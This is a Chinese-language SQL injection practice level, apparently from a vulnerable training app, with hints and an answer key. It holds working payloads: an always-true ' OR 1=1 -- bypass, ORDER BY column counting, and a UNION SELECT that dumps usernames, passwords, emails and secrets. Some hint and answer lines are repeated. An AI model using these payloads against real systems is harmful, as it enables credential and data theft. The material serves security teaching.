关卡1:字符型搜索注入
按用户名搜索用户,SQL 是直接拼接的:
SELECT * FROM users WHERE username = '你的输入'
试着输入 ' OR 1=1 -- (注意 -- 后面有空格)看看会发生什么?再用 UNION SELECT 把 secret 列爆出来。💡 提示
1. 单引号闭合:' OR 1=1 -- 能让条件恒真
(SQLite/MySQL 里 -- 后面必须跟空格才算注释)
2. 联合注入要测列数:' UNION SELECT 1,2,3,4,5,6 --
3. 把数字换成字段名,比如 secret
(SQLite/MySQL 里 -- 后面必须跟空格才算注释)
2. 联合注入要测列数:' UNION SELECT 1,2,3,4,5,6 --
3. 把数字换成字段名,比如 secret
📝 答案
' UNION SELECT id,username,password,nickname,email,secret FROM users --
先测列数:' ORDER BY 6 -- 正常,' ORDER BY 7 -- 报错 → 共 6 列。
(所有 -- 后面都记得带空格)
再爆数据:' UNION SELECT 1,username,password,nickname,email,secret FROM users --
先测列数:' ORDER BY 6 -- 正常,' ORDER BY 7 -- 报错 → 共 6 列。
(所有 -- 后面都记得带空格)
再爆数据:' UNION SELECT 1,username,password,nickname,email,secret FROM users --